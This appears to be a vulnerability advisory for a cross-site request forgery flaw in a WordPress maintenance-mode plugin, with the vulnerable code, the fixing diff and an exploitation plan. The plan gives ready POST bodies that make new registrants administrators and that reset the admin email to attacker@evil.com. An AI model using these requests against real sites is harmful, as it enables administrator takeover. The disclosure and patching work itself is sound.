Under Construction, Coming Soon & Maintenance Mode <= 2.1.1 - Cross-Site Request Forgery
Description
The Under Construction, Coming Soon & Maintenance Mode plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=2.1.1What Changed in the Fix
Changes introduced in v2.1.2
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a Cross-Site Request Forgery (CSRF) vulnerability in the "Under Construction, Coming Soon & Maintenance Mode" plugin (versions <= 2.1.1). ### 1. Vulnerability Summary The plugin incorporates a WPBrigade SDK (Telemetry/Logger SDK) which includes a deb…
Show full research plan
This research plan outlines the steps to exploit a Cross-Site Request Forgery (CSRF) vulnerability in the "Under Construction, Coming Soon & Maintenance Mode" plugin (versions <= 2.1.1).
1. Vulnerability Summary
The plugin incorporates a WPBrigade SDK (Telemetry/Logger SDK) which includes a debug view file: lib/wpb-sdk/views/wpb-debug.php. This file contains logic to perform several administrative actions—most notably updating arbitrary WordPress options via update_option(). These actions are triggered via POST requests but lack any nonce validation or CSRF protection. An attacker can trick a logged-in administrator into submitting a form that changes critical site settings.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/admin.php?page=under-construction-maintenance-mode-debug(The SDK debug page). - Vulnerable File:
lib/wpb-sdk/views/wpb-debug.php - Action Type:
POST - Required Authentication: Administrator (the victim must be logged in).
- Preconditions: The plugin must be active, which initializes the SDK and makes the debug page available.
3. Code Flow
- Entry Point: An administrator visits (or is forced via CSRF to submit a request to) the debug page, which is typically registered under the slug
under-construction-maintenance-mode-debug. - Inclusion: The SDK's menu callback includes
lib/wpb-sdk/views/wpb-debug.php. - Processing: At the start of
wpb-debug.php, the code checks forPOSTparameters:- Line 81:
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value']))
- Line 81:
- Sink:
- Line 86: Calls
custom_plugin_set_option($option_name, $option_value); - Line 77:
custom_plugin_set_optionexecutesupdate_option($option_name, $option_value);.
- Line 86: Calls
- Result: The WordPress
optionstable is updated with attacker-supplied values without any nonce verification (nocheck_admin_refererorwp_verify_nonceis present in this file).
4. Nonce Acquisition Strategy
No nonce is required.
Analysis of lib/wpb-sdk/views/wpb-debug.php shows that the POST handlers for wpb_clear_api_cache, wpb_action, background_sync, and set_option_name do not implement any nonce checks. The forms rendered in the HTML (lines 106-153) also do not contain any _wpnonce fields.
5. Exploitation Strategy
The goal is to change the users_can_register option to 1 and the default_role to administrator, allowing the attacker to register a new admin account.
Step 1: Change Registration Settings
Submit a CSRF request as the logged-in administrator to enable open registration.
- Tool:
http_request - Method:
POST - URL:
https://[target]/wp-admin/admin.php?page=under-construction-maintenance-mode-debug - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
set_option_name=users_can_register&option_value=1
Step 2: Change Default Role
Submit a second CSRF request to ensure new users are created as administrators.
- Method:
POST - URL:
https://[target]/wp-admin/admin.php?page=under-construction-maintenance-mode-debug - Body:
set_option_name=default_role&option_value=administrator
Alternative Quick Impact (Site Takeover):
An attacker could directly change the admin_email to their own to initiate a password reset.
- Body:
set_option_name=admin_email&option_value=attacker@evil.com
6. Test Data Setup
- Install and activate the plugin "Under Construction, Coming Soon & Maintenance Mode" version 2.1.1.
- Ensure
users_can_registeris currently0(default). - Ensure the active user is an Administrator.
7. Expected Results
- The
http_requestshould return a200 OKstatus. - The response body should contain the string:
<div id="success_message">Successfully set the option</div>(fromwpb-debug.phpline 87). - The WordPress database will be updated, effectively bypassing intended security controls.
8. Verification Steps
After performing the POST requests, verify the changes using WP-CLI:
# Verify registration is enabled
wp option get users_can_register
# Expected: 1
# Verify default role is now administrator
wp option get default_role
# Expected: administrator
9. Alternative Approaches
If the update_option vector is somehow restricted by environmental security (like a WAF), other CSRF vectors in the same file can be used to demonstrate impact:
- Clear API Cache:
- Body:
wpb_clear_api_cache=true - Effect:
update_option('wpb_api_cache', null);
- Body:
- Clear Update Transients:
- Body:
wpb_action=clear_updates_data - Effect: Deletes
update_pluginsandupdate_themestransients.
- Body:
- Data Exfiltration (SSRF-lite):
- Body:
background_sync=true - Effect: Triggers
wp_remote_posttoWPBRIGADE_SDK_API_ENDPOINTwith the$Dataarray, which includesproduct_infoand logs. An attacker might control the endpoint if they can first CSRF the endpoint option itself.
- Body:
Summary
The Under Construction, Coming Soon & Maintenance Mode plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) via its SDK debug view. This allows unauthenticated attackers to trick a logged-in administrator into performing actions such as clearing caches, syncing data, or most critically, updating arbitrary WordPress options in the database.
Vulnerable Code
// lib/wpb-sdk/views/wpb-debug.php lines 76-88 // Function to set an option value in the database function custom_plugin_set_option($option_name, $option_value) { update_option($option_name, $option_value); } // Handle form submission to set option value if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value'])) { $option_name = $_POST['set_option_name']; $option_value = $_POST['option_value']; custom_plugin_set_option($option_name, $option_value); echo '<div id="success_message">Successfully set the option</div>'; }
Security Fix
+/** + * Verify POST request: method, capability, and nonce for a given action. + * + * @param string $action Nonce action (e.g. 'wpb_debug_clear_cache'). + * @return bool True if valid POST with valid nonce and capability. + */ +function wpb_debug_verify_request( $action ) { + if ( ! isset( $_SERVER['REQUEST_METHOD'] ) || 'POST' !== $_SERVER['REQUEST_METHOD'] ) { + return false; + } + if ( ! current_user_can( 'manage_options' ) ) { + return false; + } + if ( ! isset( $_POST['_wpnonce'] ) ) { + return false; + } + return (bool) wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), $action ); +} ... +/** Option name prefix allowed for Set DB Option (strict whitelist by prefix). */ +define( 'WPB_DEBUG_OPTION_PREFIX', 'wpb_' ); + +/** + * Set an option value only if it is in the allowed prefix scope. + * + * @param string $option_name Option name (must start with WPB_DEBUG_OPTION_PREFIX). + * @param mixed $option_value Option value. + * @return bool True on success, false if not allowed. + */ +function wpb_debug_set_option( $option_name, $option_value ) { + if ( ! current_user_can( 'manage_options' ) ) { + return false; + } + $option_name = sanitize_text_field( $option_name ); + if ( '' === $option_name || 0 !== strpos( $option_name, WPB_DEBUG_OPTION_PREFIX ) ) { + return false; + } + update_option( $option_name, $option_value ); + return true; +} -// Handle form submission to set option value -if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['set_option_name']) && isset($_POST['option_value'])) { - $option_name = $_POST['set_option_name']; - $option_value = $_POST['option_value']; - - custom_plugin_set_option($option_name, $option_value); - - echo '<div id="success_message">Successfully set the option</div>'; -} +$wpb_debug_set_option_success = false; +$wpb_debug_set_option_submitted = false; +if ( isset( $_POST['set_option_name'], $_POST['option_value'] ) && wpb_debug_verify_request( 'wpb_debug_set_option' ) ) { + $wpb_debug_set_option_submitted = true; + $option_name = sanitize_text_field( wp_unslash( $_POST['set_option_name'] ) ); + $option_value = isset( $_POST['option_value'] ) ? sanitize_text_field( wp_unslash( $_POST['option_value'] ) ) : ''; + $wpb_debug_set_option_success = wpb_debug_set_option( $option_name, $option_value ); +}
Exploit Outline
The exploit targets the unprotected SDK debug view which is accessible to administrators. Since the page lacks CSRF nonces, an attacker can craft a malicious HTML page that automatically submits POST requests to the debug endpoint when visited by an authenticated admin. 1. Target Endpoint: `/wp-admin/admin.php?page=under-construction-maintenance-mode-debug`. 2. Methodology: Use a CSRF payload to trigger the `update_option` sink. The attacker sends two consecutive POST requests: - Request 1: Set `set_option_name=users_can_register` and `option_value=1` to allow open registration on the site. - Request 2: Set `set_option_name=default_role` and `option_value=administrator` to ensure new registrants have full site access. 3. Authentication: Requires an active session for a user with `manage_options` capabilities (typically an administrator).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.